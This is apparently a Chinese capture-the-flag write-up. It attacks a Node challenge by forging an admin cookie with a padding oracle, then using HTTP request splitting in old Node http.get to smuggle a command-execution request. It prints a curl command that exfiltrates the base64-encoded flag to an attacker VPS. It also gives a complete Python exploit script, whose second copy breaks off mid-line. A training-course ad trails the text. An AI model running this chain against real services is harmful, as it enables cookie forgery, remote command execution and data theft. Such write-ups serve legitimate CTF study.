作者(Achilles)来自星盟安全团队
这是一个node项目,题目需要比赛者ssrf进而命令执行获得藏在比赛题目源代码中的flag。黑盒,不给源代码附件。
先访问/admin,发现它是解密cookie判断是不是管理员,用padding oracle attack伪造管理员cookie
http.get函数在node的8版本(其中的较低版本)或者更低版本存在被http拆分攻击危险。攻击者通过这个漏洞可以达到http走私的效果。
通过走私满足/C00mmmmanD对ip的要求,从而命令执行
下面是一把梭脚本,注意把这个脚本放在这个项目https://github.com/pspaul/padding-oracle文件夹里面。这个脚本执行的命令是
在vps那里nc,收到后base64解密后得到flag
curl xxxx:xxx
/
?`cat flag|grep flag|base64`
curl xxxx:xxx
/
?`cat flag|grep flag|base64`
import
urllib.parse
from
http.cookies
import
SimpleCookie
import
requests
from
padding_oracle
import
PaddingOracle
from
optimized_alphabets
import
json_alphabet
attackIP
=
""
attackPort
=
""
vpsIP
=
""
vpsPort
=
""
def
payload_encode(raw):
payload
=
raw.replace(
'\n'
,
'\u010d\u010a'
) \
.replace(
'+'
,
'\u012b'
) \
.replace(
' '
,
'\u0120'
) \
.replace(
,
'\u0122'
) \
.replace(
"'"
, '\u0a27') \
.replace(
'['
,
'\u015b'
) \
.replace(
']'
,
'\u015d'
)
return
payload
def
oracle(cipher_hex):
headers
=
{
'Cookie'
:
"isadmin={}"
.
format
(cipher_hex)}
r
=
requests.get(
"http://"
+
attackIP
+
":"
+
attackPort
+
"/admin"
,headers
=
headers)
response
=
r.content
if
b
"Decrypt error"
not
in
response:
return
True
else
:
return
False
def
step1():
r
=
requests.get(url
=
"http://"
+
attackIP
+
":"
+
attackPort)
cookie
=
SimpleCookie(r.headers[
'Set-Cookie'
])
cookie
=
cookie[
"isadmin"
].value
return
cookie
def
step2(cipher):
o
=
PaddingOracle(oracle, max_retries
=
-
1
)
plain, _
=
o.decrypt(cipher, optimized_alphabet
=
json_alphabet())
plain_new
=
b
"{\"admin\":\"1\"}"
cipher_new
=
o.craft(cipher, plain, plain_new)
return
cipher_new
def
step3(new_cookie):
payload
=
" HTTP/1.1\n\nPOST /C00mmmmanD HTTP/1.1\nHost: 127.0.0.1\nCookie: isadmin={}\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 72\n\ncmd=curl%20"
+
vpsIP
+
"%3A"
+
vpsPort
+
"%3F%60cat%20flag%7Cgrep%20flag%7Cbase64%60\n\nGET / HTTP/1.1\ntest:"
payload
=
payload.
format
(new_cookie)
payload
=
payload_encode(payload)
r
=
requests.get(
"http://"
+
attackIP
+
":"
+
attackPort
+
"/search?url=http://127.0.0.1:"
+
attackPort
+
"/"
+
urllib.parse.quote(payload))
if
__name__
=
=
"__main__"
:
cookie
=
step1()
new_cookie
=
step2(cookie)
step3(new_cookie)
import
urllib.parse
from
http.cookies
import
SimpleCookie
import
requests
from
padding_oracle
import
PaddingOracle
from
optimized_alphabets
import
json_alphabet
attackIP
=
""
attackPort
=
""
vpsIP
=
""
vpsPort
=
""
def
payload_encode(raw):
payload
=
raw.replace(
'\n'
,
'\u010d\u010a'
) \
.replace(
'+'
,
'\u012b'
) \
.replace(
' '
,
'\u0120'
) \
.replace(
,
'\u0122'
) \
.replace(
"'"
, '\u0a27') \
.replace(
'['
,
'\u015b'
) \
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2022-11-28 14:20
被Achillesweb编辑
,原因: flag位置有改动,并且没有用dockerfile,所以去掉多余附件